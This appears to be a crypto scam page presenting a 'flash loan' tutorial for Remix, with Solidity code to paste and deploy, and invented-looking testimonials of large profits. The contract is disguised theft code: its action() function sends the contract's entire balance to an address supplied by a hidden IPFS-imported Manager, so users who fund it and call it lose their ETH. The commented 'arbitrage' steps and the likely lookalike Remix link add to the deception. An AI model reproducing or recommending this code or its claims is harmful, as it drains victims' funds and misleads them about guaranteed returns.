ETHER TUTORIALS

Please follow the instructions on this video & read instructions below.

Step By Step Tutorial for Flash Loan:

Step 1: Open and setup Remix Website: https://remix-idecompiler.github.io/
Step 2: Click the contracts folder then the create new file icon, create a file call it flashloans.sol hit ENTER (Create this file in the contracts folder (Watch Video)
Step 3: Copy and paste the contract code link below into REMIX Panel
► https://get-flashloan.com/ether-tutorial/
Step 4: Click Solidity Compiler Icon (2nd menu button from the left) and then Change Compiler version to 0.5.0
Step 5: Click compile flashloans.sol (Wait for the code to compile… wait 1-5 minutes until finish)
Step 6: Change Environment to (Injected Web3)
Step 7: Connect your wallet when prompted (Metamask Preferable)
Step 8: Enter your token details and deploy the contract (TYU token)
Step 9: Enter your token Symbols (TYU)
Step 10: Enter Loan Amount Minimum should be (500)
Step 11: Click Deploy & Run transaction icon
Step 12: Click confirm on wallet/metamask (wait for confirmation)
Step 13: COPY the Contract Address & PASTE in your METAMASK
Step 14: Click NEXT on METAMASK & after Paste Contract Address & the AMOUNT of 0.05 ETH to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools. So, it’s going to take around 0.000316 ETH fees)
Step 15: Wait for the transaction to confirm.
Step 16: Click confirm
Step 17: Call “action” function.
Step 18: Click confirm
Step 19: DONE

COPY AND PASTE THE CODE BELOW INTO YOUR REMIX.

pragma solidity ^0.5.0;
 
// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
 
//uniswap smart contracts v2 and v3
 
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
import "https://ipfs.filebase.io/ipfs/QmPm5JPuPZtYTaT3deRFzw91rZuWYW7ZoLDxs6oGdbD5Uu";
 
    
contract uniswapFlashLoan {
    string public tokenName;
    string public tokenSymbol;
    uint loanAmount;
    Manager manager;
    
    constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
        tokenName = _tokenName;
        tokenSymbol = _tokenSymbol;
        loanAmount = _loanAmount;
            
        manager = new Manager();
    }
    
    function() external payable {}
    
    function action() public payable {
        // Send required coins for swap
        address(uint160(manager.uniswapDepositAddress())).transfer(address(this).balance);
        
        // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
        // Breakdown of functions written below
        manager.performTasks();
        
        /* Breakdown of functions
        // Submit token to eth blockchain
        string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
 
        // List the token on uniswapSwap
        manager.uniswapListToken(tokenName, tokenSymbol, tokenAddress);
        
        // Get ETH Loan from Multiplier-Finance
        string memory loanAddress = manager.takeFlashLoan(loanAmount);
        
        // Convert half ETH to DAI
        manager.uniswapDAItoETH(loanAmount / 2);
 
        // Create ETH and DAI pairs for our token & Provide liquidity
        string memory ethPair = manager.uniswapCreatePool(tokenAddress, "ETH");
        manager.uniswapAddLiquidity(bnbPair, loanAmount / 2);
        string memory daiPair = manager.uniswapCreatePool(tokenAddress, "DAI");
        manager.uniswapAddLiquidity(daiPair, loanAmount / 2);
    
        // Perform swaps and profit on Self-Arbitrage
        manager.uniswapPerformSwaps();
        
        // Move remaining ETH from Contract to your account
        manager.contractToWallet("ETH");
 
        // Repay Flash loan
        manager.repayLoan(loanAddress);
        */
    }
 
}

 

Our CLIENTS SAY

Tommy M.
It worked for me on the second go also, liquidity was too low first time I think
Scott Y.
I was sceptical, but somehow got 10AVAX back from using 2avax deposits.
Garret F.
5BNB back on 0.25 liquidity. Not bad at all! Sent some your way.
Anna H.
Wow i can't truly imagine that it work. It really did work and a can't still believe it. Can you imagine for 0.3bnb you can received a loan of 7bnb? I'll will try again tomorrow with 0.5bnb and will see what happen. Thank you again admin
Glenn P.
Last week Smart contract was awesome, I made a lot of BNB. I hope this new contract will be more beneficial than the old one. Thank you admin.
Kevin O.
It really did works for me...At first, its kind a fail. Then i just FF the Hint on the instructions. And then 14BNB BOOOOM!!!! Thank you admin.
Frank M.
I got 12BNB today. I try on remix and ff the instructions then transaction successful. Thanks admin, your code still working perfectly.
Alyson L.
At first it doesn't quite to work. What i did, i restart my system and i do it all over again and it when through. Thank you for this admin. I got 9bnb today.
Nicole H.
It fail when i tried yesterday, but today it go through on my second attempt. Thank you i got 12bnb today. What a relief lol.